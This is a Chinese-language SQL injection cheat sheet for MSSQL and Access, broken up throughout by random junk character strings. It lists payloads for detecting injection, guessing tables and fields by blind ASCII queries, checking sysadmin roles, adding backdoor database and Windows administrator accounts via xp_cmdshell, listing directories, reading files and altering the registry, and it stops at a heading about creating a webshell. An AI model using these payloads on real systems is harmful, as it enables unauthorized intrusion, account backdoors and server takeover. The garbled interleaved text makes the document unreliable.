1.判断是否有注入;and 1=1 ;and 1=2 ~<
%%n'xmm
2.初步判断是否是mssql ;and user>0 wSoIU,I
J'c]':U
3.注入参数是字符'and [查询条件] and ''=' u6^cLQO+
jp=z
^l
4.搜索时没过滤参数的'and [查询条件] and '%25'=' F]]1>w*/0
xUl=N
5.判断数据库系统 ?WPuTPw{
EH{m~x[Ei
;and (select count(*) from sysobjects)>0 mssql ~L\KMB/9e=
#MkXio; h
;and (select count(*) from msysobjects)>0 access -X+G_rY
%(lr.9.]H
R-8>,
B].V|8h
6.猜数据库 ;and (select Count(*) from [数据库名])>0 nmIos]B
buV{O[
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 pQv`fr=
]DVZeI03@
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Qj;wklq
K|JpkEw
9.(1)猜字段的ascii值(access) U-~cVk+LI
52Sq;X
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N$>.V7H&
$yxwB/ O(
(2)猜字段的ascii值(mssql) 3
RB+
.j"iJ/
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /+^7lQo\]
/}+VH_N1
10.测试权限结构(mssql) \Ps}1)wT
~[n]la
kaM=Fk=t
zq]I"0Bi.
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [7x,&
}AfX0[!O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2ZTz{|y
A^lJlr:_`
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #B_Em$
YdgDMd-1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- NT(gXEZ
r.-U=ql
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- UXs=7H".
v67utISNI
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @:2<cn`
op!ft/Yyb
;and 1=(select IS_MEMBER('db_owner'));-- :vsBobiJ
F7o#KN*.]
1#nR$
o 8fB
11.添加mssql和系统的帐户 XFj\H(D
3)D' Yx
;exec master.dbo.sp_addlogin username;-- W^(:\IvV
;exec master.dbo.sp_password null,username,password;-- FE'|wf
.>X0 $#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- @^q|C&j
;i;2cq
;exec master.dbo.xp_cmdshell 'net user username password YgiLfz iT
&\n<pXQ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- tr[(,kX
mBAI";L3
;exec master.dbo.xp_cmdshell 'net user username password /add';-- aL)}S%5o?
,Z3 (`ftC
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- B7'rbc'
f{i~hVF
2Ra}&ie
5Q/&,NP
12.(1)遍历目录 !UzMuGj
8%+F.r
;create table dirs(paths varchar(100), id int) Wi;wu*
)Bz2-|\
;insert dirs exec master.dbo.xp_dirtree 'c:\' /5**2Kgv1
J&hzr t
;and (select top 1 paths from dirs)>0 a9f!f %9
M53{e;.kN
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) w(,K
'R-Ly^:Qd
UrC>n
1\t# *N
(2)遍历目录 iY~.U`b`
NA :_yA"
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /m"#uC!\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~]w|ULNa3|
_ ^2\/@
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #
dA-dN
o$4i{BL
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "Y1]6
Zu
crwui 8
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 sY-
]
Q
T"bH{|:%*=
:m&cm%W]ts
fen~k#|l
13.mssql中的存储过程 AhyV
UnE[FYx
xp_regenumvalues 注册表根键, 子键 |>'.(
13JZ\`ceb
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $ [t7&e
{s{bnU
xp_regread 根键,子键,键值名 q
HU}EEv
B2kKEMdGg
;exec xp_regread vC
[uEx:
S6d&w6
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qOqU
CRUe:
Xn%ty@8
xp_regwrite 根键,子键, 值名, 值类型, 值 H{d;,KfX
vvi[+$M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 @$*LU:[
&s{" Vc9]
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 yIq.
m=
%"jp':
xp_regdeletevalue 根键,子键,值名 [X&VxTxr
Lu][0+-
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 swTur
,N1I\f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /0_^Z2
cWU9mzsE
*+UgrsRk
5R%4fzr&g
14.mssql的backup创建webshell A &tMj